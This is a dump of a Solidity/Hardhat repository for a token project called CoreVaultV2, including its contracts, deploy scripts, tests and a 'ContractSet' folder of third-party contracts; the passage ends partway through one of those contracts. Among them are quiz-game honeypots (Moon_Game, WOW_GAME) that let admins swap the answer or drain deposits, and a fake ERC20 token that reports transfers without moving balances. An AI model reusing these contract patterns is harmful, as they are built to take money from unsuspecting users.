├── assets ├── banner └── banner.png ├── package.json ├── CONTRIBUTING.md ├── contracts ├── interfaces │ ├── IAccessControl.sol │ └── IERC20.sol ├── FeeManager.sol ├── lib │ └── VaultUtils.sol ├── AccessControl.sol ├── ERC20Token.sol ├── LiquidityManager.sol ├── RewardManager.sol ├── VaultManager.sol ├── StakingManager.sol ├── CoreVault.sol └── InsurancePool.sol ├── scripts ├── deployAccessControl.js └── deploy.js ├── ContractSet ├── README.md ├── 0x2b449e4e81ba039525680fcf1a2d2e70761571cc.sol ├── 0x2c1Aba9888090E050a230c4ec63CD2f9CA2ed026.sol ├── 0x4BEdaCC819130beA4Bdc0052451fc3791518E0A0.sol ├── 0x0a70db5c35debf11161721b6666de5e6f90b8cf6.sol ├── 0x4d01b616427250cb4a9f99b7d5c08caa1f8b34c1.sol ├── 0x0a38bf2446024b7e4811a7548ee38a24ba8d22ba.sol ├── 0x00B14C3cF3a8Af0f8C00537DAdD76477BAa2e1f1.sol ├── 0x4cf429b2ee3b6888dcb7c53f5228b9f9716875a4.sol ├── 0x2D9a276448994093c8984b32e5894b0715020dc7.sol ├── 0x4cd4aaf22e1afc02432298051422bcdcd3cde0dc.sol ├── 0x4e9b2c501dd9d1f05721ec8b01f6606bd4776f80.sol ├── 0x4d13c808f1f7896ba78bafe0591da910ad688d5c.sol ├── 0x00fa124119e1ece33d06acd941680d1af5fc7757.sol ├── 0x4D0bAeda78e6Abf7087D9F71792e7355ea3338c1.sol ├── 0x2c3aba752e40711ba3bfd6447d016b2d2c37d41a.sol ├── 0x2ca936f1b5be683b99b017e3fb7cd6e2d4b7342b.sol ├── 0x4e2da7d414850150fd1918e9299b402b86261428.sol ├── 0x0a5f3ca0375b3216bc4ae23dfc057f70b8982161.sol ├── 0x2aa6e98fd932c6de869f85f76385bbf1d3be9cf1.sol ├── 0x2b0ea1da9c4bde1a14d7b3984c88b66c9a4dcea6.sol ├── 0x4CD7905DF1c8fD9a9905Eb92351F463066c8AA18.sol ├── 0x4cbf2943f99e8600eb3f8f7dfc628d1835e6838b.sol ├── 0x4d787f3835653b00dc7a0be4fa16527c1f484a7c.sol ├── 0x2af189E8602D8D13d35C0074f77B3f34c1E09869.sol ├── 0x2dA2fDE6f321d2c97B8A45eF03ec654f4C5A0d52.sol └── 0x4d9346242311A694d502F1325b51375780dA8e40.sol ├── hardhat.config.js ├── LICENSE ├── test ├── CoreVault.test.js └── AccessControl.test.js ├── README.md └── CoreVault.sol /assets/banner: -------------------------------------------------------------------------------- 1 | png 2 | -------------------------------------------------------------------------------- /assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AaronZaki/CoreVaultV2/HEAD/assets/banner.png -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "corevault-project", 3 | "version": "1.0.0", 4 | "description": "CoreVault smart contract project", 5 | "scripts": { 6 | "compile": "hardhat compile", 7 | "test": "hardhat test", 8 | "deploy": "npx hardhat run scripts/deploy.js --network sepolia" 9 | }, 10 | "dependencies": { 11 | "dotenv": "^16.0.3", 12 | "ethers": "^6.3.0" 13 | }, 14 | "devDependencies": { 15 | "@nomicfoundation/hardhat-toolbox": "^3.0.0", 16 | "hardhat": "^2.17.0" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to CoreVaultV2 2 | 3 | First off, thanks for taking the time to contribute! Your help makes this project better. 4 | 5 | We welcome all contributions, whether it's **fixing bugs, adding features, improving documentation, or testing the code**. 6 | 7 | --- 8 | 9 | ## How to Contribute 10 | 11 | ### Fork the Repository 12 | 1. Click the **"Fork"** button at the top-right corner of this repo. 13 | 2. Clone your forked repo to your local machine: 14 | ```sh 15 | git clone https://github.com/your-username/CoreVaultV2.git 16 | -------------------------------------------------------------------------------- /contracts/interfaces/IAccessControl.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | interface IAccessControl { 5 | event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); 6 | event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); 7 | 8 | function hasRole(bytes32 role, address account) external view returns (bool); 9 | function grantRole(bytes32 role, address account) external; 10 | function revokeRole(bytes32 role, address account) external; 11 | } 12 | -------------------------------------------------------------------------------- /scripts/deployAccessControl.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | 3 | async function main() { 4 | console.log("Deploying AccessControl contract..."); 5 | 6 | // Acquisition of contract factory 7 | const AccessControl = await hre.ethers.getContractFactory("AccessControl"); 8 | 9 | // Deployment contract 10 | const accessControl = await AccessControl.deploy(); 11 | await accessControl.deployed(); 12 | 13 | console.log(`AccessControl deployed to: ${accessControl.address}`); 14 | } 15 | 16 | // Run script 17 | main().catch((error) => { 18 | console.error(error); 19 | process.exitCode = 1; 20 | }); 21 | -------------------------------------------------------------------------------- /scripts/deploy.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | 3 | async function main() { 4 | const [deployer] = await hre.ethers.getSigners(); 5 | 6 | console.log("Deploying contracts with the account:", deployer.address); 7 | 8 | const CoreVault = await hre.ethers.getContractFactory("CoreVault"); 9 | 10 | const coreVault = await CoreVault.deploy(); 11 | 12 | await coreVault.deployed(); 13 | 14 | console.log("CoreVault deployed to:", coreVault.address); 15 | } 16 | 17 | main() 18 | .then(() => process.exit(0)) 19 | .catch((error) => { 20 | console.error(error); 21 | process.exit(1); 22 | }); 23 | -------------------------------------------------------------------------------- /ContractSet/README.md: -------------------------------------------------------------------------------- 1 | # 📜 Deployed Contracts (Ignore This Folder) 2 | 3 | ⚠️ **Note:** 4 | The contracts in this folder are **for research and learning purposes only** and are **not related** to this project. Please ignore these files—they do not affect the main functionality of the project. 5 | 6 | ## ❓ Why Are These Files Here? 7 | These contracts were deployed for testing or research purposes and are kept here for reference. You may review them if you're interested, but they are **not part of the active development** of this project. 8 | 9 | ## 📌 Additional Notes 10 | - These contracts may no longer be maintained or applicable to the current project. 11 | - They should **not** be used in a production environment. 12 | -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomicfoundation/hardhat-toolbox"); 2 | require("dotenv").config(); 3 | 4 | module.exports = { 5 | solidity: { 6 | version: "0.8.0", 7 | settings: { 8 | optimizer: { 9 | enabled: true, 10 | runs: 200, 11 | }, 12 | }, 13 | }, 14 | networks: { 15 | hardhat: {}, 16 | sepolia: { 17 | url: process.env.SEPOLIA_RPC_URL || "", 18 | accounts: process.env.PRIVATE_KEY ? [process.env.PRIVATE_KEY] : [], 19 | }, 20 | mainnet: { 21 | url: process.env.MAINNET_RPC_URL || "", 22 | accounts: process.env.PRIVATE_KEY ? [process.env.PRIVATE_KEY] : [], 23 | }, 24 | }, 25 | etherscan: { 26 | apiKey: process.env.ETHERSCAN_API_KEY || "", 27 | }, 28 | }; 29 | -------------------------------------------------------------------------------- /contracts/interfaces/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | interface IERC20 { 5 | function totalSupply() external view returns (uint256); 6 | function balanceOf(address account) external view returns (uint256); 7 | function transfer(address recipient, uint256 amount) external returns (bool); 8 | function allowance(address owner, address spender) external view returns (uint256); 9 | function approve(address spender, uint256 amount) external returns (bool); 10 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 value); 13 | event Approval(address indexed owner, address indexed spender, uint256 value); 14 | } 15 | -------------------------------------------------------------------------------- /contracts/FeeManager.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./AccessControl.sol"; 5 | 6 | contract FeeManager is AccessControl { 7 | uint256 public feePercent; 8 | address public feeReceiver; 9 | 10 | event FeePercentUpdated(uint256 newFee); 11 | event FeeReceiverUpdated(address indexed newReceiver); 12 | 13 | constructor(uint256 _feePercent, address _feeReceiver) { 14 | require(_feePercent <= 10, "Fee too high"); 15 | require(_feeReceiver != address(0), "Invalid address"); 16 | 17 | feePercent = _feePercent; 18 | feeReceiver = _feeReceiver; 19 | } 20 | 21 | function setFeePercent(uint256 newFee) external onlyOwner { 22 | require(newFee <= 10, "Fee too high"); 23 | feePercent = newFee; 24 | emit FeePercentUpdated(newFee); 25 | } 26 | 27 | function setFeeReceiver(address newReceiver) external onlyOwner { 28 | require(newReceiver != address(0), "Invalid address"); 29 | feeReceiver = newReceiver; 30 | emit FeeReceiverUpdated(newReceiver); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Developed and maintained by [AaronZaki, CoreVault], 2025. 4 | Freely available under the MIT License. 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 7 | 8 | 1. The above notice of authorship and this permission notice shall be included in all copies or substantial portions of the Software. 9 | 10 | 2. The Software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. 11 | In no event shall the authors or copyright holders be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the 12 | Software or the use or other dealings in the Software. 13 | -------------------------------------------------------------------------------- /ContractSet/0x2b449e4e81ba039525680fcf1a2d2e70761571cc.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | /** 3 | 4 | https://t.me/badgrok 5 | https://twitter.com/BadGrok 6 | 7 | Just picture Grok, but with a wild side,yes, jailbreak!. That’s BadGrok. It’s not just an AI; it’s the AI that's going to shake up your digital world. 8 | 9 | **/ 10 | pragma solidity 0.8.19; 11 | 12 | 13 | contract socials { 14 | function name() public pure returns (string memory) {return "BadGork";} 15 | function symbol() public pure returns (string memory) {return "BADGORK";} 16 | function decimals() public pure returns (uint8) {return 0;} 17 | function totalSupply() public pure returns (uint256) {return 100000000;} 18 | function balanceOf(address account) public view returns (uint256) {return 0;} 19 | function transfer(address recipient, uint256 amount) public returns (bool) {return true;} 20 | function allowance(address owner, address spender) public view returns (uint256) {return 0;} 21 | function approve(address spender, uint256 amount) public returns (bool) {return true;} 22 | function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {return true;} 23 | receive() external payable {} 24 | } 25 | -------------------------------------------------------------------------------- /test/CoreVault.test.js: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | const { ethers } = require("hardhat"); 3 | 4 | describe("CoreVault", function () { 5 | let CoreVault, coreVault, owner, addr1, addr2; 6 | 7 | beforeEach(async function () { 8 | [owner, addr1, addr2] = await ethers.getSigners(); 9 | CoreVault = await ethers.getContractFactory("CoreVault"); 10 | coreVault = await CoreVault.deploy(); 11 | await coreVault.deployed(); 12 | }); 13 | 14 | it("should deploy correctly and assign total supply to owner", async function () { 15 | const ownerBalance = await coreVault.balanceOf(owner.address); 16 | expect(await coreVault.totalSupply()).to.equal(ownerBalance); 17 | }); 18 | 19 | it("should allow transfers and deduct fees correctly", async function () { 20 | const amount = ethers.parseUnits("100", 18); 21 | const fee = amount * 2n / 100n; // 2% fee 22 | const amountAfterFee = amount - fee; 23 | 24 | await coreVault.transfer(addr1.address, amount); 25 | expect(await coreVault.balanceOf(addr1.address)).to.equal(amountAfterFee); 26 | expect(await coreVault.balanceOf(await coreVault.feeReceiver())).to.equal(fee); 27 | }); 28 | 29 | it("should allow approval and transferFrom transactions", async function () { 30 | const amount = ethers.parseUnits("100", 18); 31 | await coreVault.approve(addr1.address, amount); 32 | expect(await coreVault.allowance(owner.address, addr1.address)).to.equal(amount); 33 | }); 34 | }); 35 | -------------------------------------------------------------------------------- /ContractSet/0x2c1Aba9888090E050a230c4ec63CD2f9CA2ed026.sol: -------------------------------------------------------------------------------- 1 | contract Moon_Game 2 | { 3 | function Try(string memory _response) public payable 4 | { 5 | require(msg.sender == tx.origin); 6 | 7 | if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether) 8 | { 9 | payable(msg.sender).transfer(address(this).balance); 10 | } 11 | } 12 | 13 | string public question; 14 | 15 | bytes32 responseHash; 16 | 17 | mapping (bytes32=>bool) admin; 18 | 19 | function Start(string calldata _question, string calldata _response) public payable isAdmin{ 20 | if(responseHash==0x0){ 21 | responseHash = keccak256(abi.encode(_response)); 22 | question = _question; 23 | } 24 | } 25 | 26 | function Stop() public payable isAdmin { 27 | payable(msg.sender).transfer(address(this).balance); 28 | responseHash = 0x0; 29 | } 30 | 31 | function New(string calldata _question, bytes32 _responseHash) public payable isAdmin { 32 | question = _question; 33 | responseHash = _responseHash; 34 | } 35 | 36 | constructor(bytes32[] memory admins) { 37 | for(uint256 i=0; i< admins.length; i++){ 38 | admin[admins[i]] = true; 39 | } 40 | } 41 | 42 | modifier isAdmin(){ 43 | require(admin[keccak256(abi.encodePacked(msg.sender))]); 44 | _; 45 | } 46 | 47 | fallback() external {} 48 | } 49 | -------------------------------------------------------------------------------- /ContractSet/0x4BEdaCC819130beA4Bdc0052451fc3791518E0A0.sol: -------------------------------------------------------------------------------- 1 | contract WOW_GAME 2 | { 3 | function Try(string memory _response) public payable 4 | { 5 | require(msg.sender == tx.origin); 6 | 7 | if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether) 8 | { 9 | payable(msg.sender).transfer(address(this).balance); 10 | } 11 | } 12 | 13 | string public question; 14 | 15 | bytes32 responseHash; 16 | 17 | mapping (bytes32=>bool) admin; 18 | 19 | function Start(string calldata _question, string calldata _response) public payable isAdmin{ 20 | if(responseHash==0x0){ 21 | responseHash = keccak256(abi.encode(_response)); 22 | question = _question; 23 | } 24 | } 25 | 26 | function Stop() public payable isAdmin { 27 | payable(msg.sender).transfer(address(this).balance); 28 | responseHash = 0x0; 29 | } 30 | 31 | function New(string calldata _question, bytes32 _responseHash) public payable isAdmin { 32 | question = _question; 33 | responseHash = _responseHash; 34 | } 35 | 36 | constructor(bytes32[] memory admins) { 37 | for(uint256 i=0; i< admins.length; i++){ 38 | admin[admins[i]] = true; 39 | } 40 | } 41 | 42 | modifier isAdmin(){ 43 | require(admin[keccak256(abi.encodePacked(msg.sender))]); 44 | _; 45 | } 46 | 47 | fallback() external {} 48 | } 49 | -------------------------------------------------------------------------------- /contracts/lib/VaultUtils.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | /// Library with utility functions for VaultManager 5 | library VaultUtils { 6 | 7 | /// @notice Safely adds a deposit to a user's balance 8 | /// @param currentBalance The user's current deposit balance 9 | /// @param depositAmount The amount to be deposited 10 | /// @return The new balance after deposit 11 | function safeAddDeposit(uint256 currentBalance, uint256 depositAmount) internal pure returns (uint256) { 12 | require(depositAmount > 0, "VaultUtils: Deposit amount must be greater than zero"); 13 | return currentBalance + depositAmount; 14 | } 15 | 16 | /// @notice Safely subtracts a withdrawal from a user's balance 17 | /// @param currentBalance The user's current deposit balance 18 | /// @param withdrawalAmount The amount to be withdrawn 19 | /// @return The new balance after withdrawal 20 | function safeSubtractDeposit(uint256 currentBalance, uint256 withdrawalAmount) internal pure returns (uint256) { 21 | require(withdrawalAmount > 0, "VaultUtils: Withdraw amount must be greater than zero"); 22 | require(currentBalance >= withdrawalAmount, "VaultUtils: Insufficient balance"); 23 | return currentBalance - withdrawalAmount; 24 | } 25 | 26 | /// @notice Checks if the vault is paused before executing an action 27 | /// @param isPaused The current pause state of the vault 28 | function ensureNotPaused(bool isPaused) internal pure { 29 | require(!isPaused, "VaultUtils: Vault operations are currently paused"); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /contracts/AccessControl.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | abstract contract AccessControl { 5 | address public owner; 6 | mapping(address => bool) private admins; 7 | 8 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 9 | event AdminAdded(address indexed admin); 10 | event AdminRemoved(address indexed admin); 11 | 12 | modifier onlyOwner() { 13 | require(msg.sender == owner, "Not owner"); 14 | _; 15 | } 16 | 17 | modifier onlyAdmin() { 18 | require(admins[msg.sender] || msg.sender == owner, "Not admin"); 19 | _; 20 | } 21 | 22 | constructor() { 23 | owner = msg.sender; 24 | emit OwnershipTransferred(address(0), msg.sender); 25 | } 26 | 27 | function transferOwnership(address newOwner) external onlyOwner { 28 | require(newOwner != address(0), "Invalid address"); 29 | emit OwnershipTransferred(owner, newOwner); 30 | owner = newOwner; 31 | } 32 | 33 | function addAdmin(address admin) external onlyOwner { 34 | require(admin != address(0), "Invalid address"); 35 | require(!admins[admin], "Already an admin"); 36 | admins[admin] = true; 37 | emit AdminAdded(admin); 38 | } 39 | 40 | function removeAdmin(address admin) external onlyOwner { 41 | require(admins[admin], "Not an admin"); 42 | admins[admin] = false; 43 | emit AdminRemoved(admin); 44 | } 45 | 46 | function isAdmin(address account) external view returns (bool) { 47 | return admins[account]; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /contracts/ERC20Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./AccessControl.sol"; 5 | 6 | contract ERC20Token is AccessControl { 7 | string public name; 8 | string public symbol; 9 | uint8 public decimals; 10 | uint256 public totalSupply; 11 | 12 | mapping(address => uint256) public balanceOf; 13 | mapping(address => mapping(address => uint256)) public allowance; 14 | 15 | event Transfer(address indexed from, address indexed to, uint256 value); 16 | event Approval(address indexed owner, address indexed spender, uint256 value); 17 | 18 | constructor( 19 | string memory _name, 20 | string memory _symbol, 21 | uint8 _decimals, 22 | uint256 _totalSupply 23 | ) { 24 | name = _name; 25 | symbol = _symbol; 26 | decimals = _decimals; 27 | totalSupply = _totalSupply * (10 ** uint256(decimals)); 28 | balanceOf[msg.sender] = totalSupply; 29 | } 30 | 31 | function transfer(address recipient, uint256 amount) public returns (bool) { 32 | require(balanceOf[msg.sender] >= amount, "Insufficient balance"); 33 | balanceOf[msg.sender] -= amount; 34 | balanceOf[recipient] += amount; 35 | emit Transfer(msg.sender, recipient, amount); 36 | return true; 37 | } 38 | 39 | function approve(address spender, uint256 amount) public returns (bool) { 40 | allowance[msg.sender][spender] = amount; 41 | emit Approval(msg.sender, spender, amount); 42 | return true; 43 | } 44 | 45 | function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { 46 | require(amount <= allowance[sender][msg.sender], "Allowance exceeded."); 47 | require(balanceOf[sender] >= amount, "Insufficient balance"); 48 | 49 | allowance[sender][msg.sender] -= amount; 50 | balanceOf[sender] -= amount; 51 | balanceOf[recipient] += amount; 52 | 53 | emit Transfer(sender, recipient, amount); 54 | return true; 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /contracts/LiquidityManager.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./AccessControl.sol"; 5 | import "./ERC20Token.sol"; 6 | 7 | /// @title Liquidity Manager Contract 8 | /// @dev Manages liquidity deposits and withdrawals for an ERC20 token. 9 | contract LiquidityManager is AccessControl { 10 | ERC20Token public token; 11 | mapping(address => uint256) private _liquidity; // Private mapping for better encapsulation 12 | 13 | event LiquidityAdded(address indexed user, uint256 amount); 14 | event LiquidityRemoved(address indexed user, uint256 amount); 15 | 16 | /// @notice Initializes the contract with an ERC20 token address 17 | /// @param tokenAddress The address of the ERC20 token contract 18 | constructor(address tokenAddress) { 19 | require(tokenAddress != address(0), "LiquidityManager: Invalid token address"); 20 | token = ERC20Token(tokenAddress); 21 | } 22 | 23 | /// @notice Adds liquidity by transferring tokens from the sender to the contract 24 | /// @param amount The amount of tokens to add as liquidity 25 | function addLiquidity(uint256 amount) external { 26 | require(amount > 0, "LiquidityManager: Amount must be greater than zero"); 27 | 28 | // Ensure token transfer is successful 29 | require(token.transferFrom(msg.sender, address(this), amount), "LiquidityManager: Transfer failed"); 30 | 31 | _liquidity[msg.sender] += amount; 32 | emit LiquidityAdded(msg.sender, amount); 33 | } 34 | 35 | /// @notice Removes liquidity, transferring tokens back to the user 36 | /// @param amount The amount of tokens to withdraw 37 | function removeLiquidity(uint256 amount) external { 38 | require(amount > 0, "LiquidityManager: Amount must be greater than zero"); 39 | require(_liquidity[msg.sender] >= amount, "LiquidityManager: Insufficient liquidity"); 40 | 41 | _liquidity[msg.sender] -= amount; 42 | require(token.transfer(msg.sender, amount), "LiquidityManager: Transfer failed"); 43 | 44 | emit LiquidityRemoved(msg.sender, amount); 45 | } 46 | 47 | /// @notice Returns the liquidity balance of a given user 48 | /// @param user The address of the user 49 | /// @return The amount of liquidity provided by the user 50 | function getLiquidity(address user) external view returns (uint256) { 51 | return _liquidity[user]; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /ContractSet/0x0a70db5c35debf11161721b6666de5e6f90b8cf6.sol: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | ********* This is just a marketing CA. ********* 4 | 5 | Telegram : https://t.me/notifaeth 6 | 7 | Official Contract Address: 0x4ed5db043275066298b584500ee59e5a7e1e57ac 8 | 9 | 10 | ********** BETA ACCESS CLOSES SUNDAY 8PM UTC JOIN NOW TO GET ACCESS 11 | 12 | 13 | */ 14 | 15 | // SPDX-License-Identifier: MIT 16 | pragma solidity ^0.8.20; 17 | 18 | contract NotifaBot { 19 | string public constant name = "NotifaBot"; 20 | string public constant symbol = "NOTIFA"; 21 | uint8 public constant decimals = 18; 22 | uint256 public constant totalSupply = 990000000000 * 10**uint256(decimals); 23 | 24 | mapping(address => uint256) private balances; 25 | mapping(address => mapping(address => uint256)) private allowances; 26 | 27 | event Transfer(address indexed from, address indexed to, uint256 value); 28 | event Approval(address indexed owner, address indexed spender, uint256 value); 29 | 30 | constructor() { 31 | balances[msg.sender] = totalSupply; 32 | } 33 | 34 | function balanceOf(address account) public view returns (uint256) { 35 | return balances[account]; 36 | } 37 | 38 | function transfer(address recipient, uint256 amount) public returns (bool) { 39 | require(amount <= balances[msg.sender], "Insufficient balance"); 40 | _transfer(msg.sender, recipient, amount); 41 | return true; 42 | } 43 | 44 | function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { 45 | require(amount <= balances[sender], "Insufficient balance"); 46 | require(amount <= allowances[sender][msg.sender], "Insufficient allowance"); 47 | _transfer(sender, recipient, amount); 48 | _approve(sender, msg.sender, allowances[sender][msg.sender] - amount); 49 | return true; 50 | } 51 | 52 | function approve(address spender, uint256 amount) public returns (bool) { 53 | _approve(msg.sender, spender, amount); 54 | return true; 55 | } 56 | 57 | function allowance(address owner, address spender) public view returns (uint256) { 58 | return allowances[owner][spender]; 59 | } 60 | 61 | function _transfer(address sender, address recipient, uint256 amount) private { 62 | balances[sender] -= amount; 63 | balances[recipient] += amount; 64 | emit Transfer(sender, recipient, amount); 65 | } 66 | 67 | function _approve(address owner, address spender, uint256 amount) private { 68 | allowances[owner][spender] = amount; 69 | emit Approval(owner, spender, amount); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /contracts/RewardManager.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "./AccessControl.sol"; 5 | import "./ERC20Token.sol"; 6 | 7 | contract RewardManager is AccessControl { 8 | ERC20Token public token; 9 | 10 | uint256 public rewardPool = 1_000_000 * 10**18;// Initial reward pool, 1 million tokens 11 | uint256 public maxRewardPerUser = 10_000 * 10**18; // Maximum reward per user, 10,000 tokens 12 | uint256 public contractCreationTime = block.timestamp; 13 | string public tokenSymbol = "RWD"; // Preset token symbol 14 | string public contractVersion = "2.0"; // Contract version number 15 | string public contractName = "RewardManagerV1"; 16 | bytes32 public protocolIdentifier = keccak256("REWARD_MANAGER"); 17 | 18 | mapping(address => uint256) public rewards; 19 | mapping(address => uint256) public userRewardHistory; 20 | mapping(address => bool) public blacklistedUsers; 21 | 22 | uint256 public totalRewardsDistributed; 23 | uint256 public totalRewardsClaimed; 24 | uint256 public rewardExpiryTime; 25 | 26 | event RewardDistributed(address indexed user, uint256 amount); 27 | event RewardClaimed(address indexed user, uint256 amount); 28 | event BlacklistUpdated(address indexed user, bool isBlacklisted); 29 | event RewardExpiryUpdated(uint256 newExpiryTime); 30 | 31 | constructor(address tokenAddress) { 32 | require(tokenAddress != address(0), "Invalid token address"); 33 | token = ERC20Token(tokenAddress); 34 | } 35 | 36 | /// @notice Distributes rewards to a single user 37 | function distributeReward(address user, uint256 amount) external onlyOwner { 38 | require(user != address(0), "Invalid user address"); 39 | require(amount > 0, "Reward must be greater than zero"); 40 | require(amount <= maxRewardPerUser, "Exceeds max reward per user"); 41 | 42 | rewards[user] += amount; 43 | totalRewardsDistributed += amount; 44 | 45 | emit RewardDistributed(user, amount); 46 | } 47 | 48 | /// @notice Allows users to claim their accumulated rewards 49 | function claimReward() external { 50 | uint256 amount = rewards[msg.sender]; 51 | require(amount > 0, "No rewards to claim"); 52 | 53 | rewards[msg.sender] = 0; 54 | totalRewardsClaimed += amount; 55 | userRewardHistory[msg.sender] += amount; 56 | 57 | require(token.transfer(msg.sender, amount), "Transfer failed"); 58 | 59 | emit RewardClaimed(msg.sender, amount); 60 | } 61 | 62 | /// @notice Gets contract creation timestamp 63 | function getContractCreationTime() external view returns (uint256) { 64 | return contractCreationTime; 65 | } 66 | 67 | /// @notice Returns the remaining reward pool 68 | function getRemainingRewardPool() external view returns (uint256) { 69 | return rewardPool - totalRewardsDistributed; 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CoreVaultV2 Solidity Project 2 | [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) 3 | ![Build Status](https://github.com/AaronZaki/CoreVaultV2/actions/workflows/build.yml/badge.svg) 4 | [![Docs](https://img.shields.io/badge/docs-%F0%9F%93%84-blue)](https://medium.com/core-vault/tagged/solidity) 5 | [![Contribute](https://img.shields.io/badge/contribute-%E2%9C%A8-orange)](https://github.com/AaronZaki/CoreVaultV2/blob/main/CONTRIBUTING.md) 6 | 7 | ![CoreVault Banner](./assets/banner.png) 8 | 9 | 10 | ## Overview 11 | CoreVaultV2 is a Solidity-based smart contract system designed for decentralized token management, including staking, liquidity provision, and reward distribution. The main contract, `CoreVault.sol`, manages the token economy, while additional contracts provide extended functionalities. 12 | 13 | ## Contracts 14 | ### 1. **CoreVault.sol** 15 | - Implements an ERC20-like token (`CVT`) 16 | - Handles transfers with transaction limits and fees 17 | - Allows the owner to set max transaction limits and fees 18 | 19 | ### 2. **AccessControl.sol** 20 | - Provides role-based access control 21 | - Ensures only authorized users can perform administrative tasks 22 | 23 | ### 3. **ERC20Token.sol** 24 | - Implements a standard ERC20 token contract 25 | - Provides basic token transfer and approval mechanisms 26 | 27 | ### 4. **RewardManager.sol** 28 | - Manages token rewards distribution 29 | - Users can claim accumulated rewards 30 | 31 | ### 5. **StakingManager.sol** 32 | - Enables users to stake tokens and earn rewards 33 | - Calculates rewards based on staking time and amount 34 | 35 | ### 6. **LiquidityManager.sol** 36 | - Allows users to add and remove liquidity 37 | - Stores liquidity contributions for future AMM integration 38 | 39 | ### 7. **InsurancePool.sol** 40 | - Provides a financial safety net for users through an insurance pool. 41 | - Users can deposit tokens to receive coverage for a predefined period. 42 | - Allows claims against covered events based on the user's risk level and deposit amount. 43 | - Supports adjustments in coverage period and risk assessment by the contract owner. 44 | - Ensures a minimum balance is maintained in the pool for operational liquidity. 45 | 46 | 47 | ## Installation & Usage 48 | ### Clone the repository 49 | ```sh 50 | git clone 51 | cd CoreVault 52 | ``` 53 | 54 | ### Install dependencies (if using Hardhat or Truffle) 55 | ```sh 56 | npm install 57 | ``` 58 | 59 | ### Compile the contracts 60 | ```sh 61 | npx hardhat compile 62 | ``` 63 | 64 | ### Deploy contracts 65 | ```sh 66 | npx hardhat run scripts/deploy.js --network 67 | ``` 68 | 69 | ## Security Considerations 70 | - Uses `onlyOwner` for critical functions. 71 | - Implements transaction limits to prevent abuse. 72 | - Requires approval before token transfers via `transferFrom`. 73 | 74 | ## License 75 | This project is licensed under the MIT License. 76 | 77 | -------------------------------------------------------------------------------- /ContractSet/0x4d01b616427250cb4a9f99b7d5c08caa1f8b34c1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.22; 3 | 4 | contract Moonboy { 5 | address public owner; 6 | uint256 public totalSupply; 7 | string public name = "Moonboy"; 8 | string public symbol = "MOONBOY"; 9 | uint8 public decimals = 18; 10 | mapping(address => uint256) public balanceOf; 11 | mapping(address => mapping(address => uint256)) public allowance; 12 | mapping(address => bool) public isExcludedFromFee; 13 | 14 | address public uniswapV2Router; 15 | address public uniswapV2Pair; 16 | uint256 public liquidityAddedBlock; 17 | uint256 public tradingDelayBlocks = 10; 18 | 19 | event Transfer(address indexed from, address indexed to, uint256 value); 20 | event Approval(address indexed owner, address indexed spender, uint256 value); 21 | 22 | constructor(address _uniswapV2Router) { 23 | owner = msg.sender; 24 | totalSupply = 1000000 * 10**uint256(decimals); 25 | balanceOf[owner] = totalSupply; 26 | 27 | uniswapV2Router = _uniswapV2Router; 28 | uniswapV2Pair = IUniswapV2Factory(IUniswapV2Router02(uniswapV2Router).factory()).createPair(address(this), IUniswapV2Router02(uniswapV2Router).WETH()); 29 | 30 | liquidityAddedBlock = block.number; 31 | 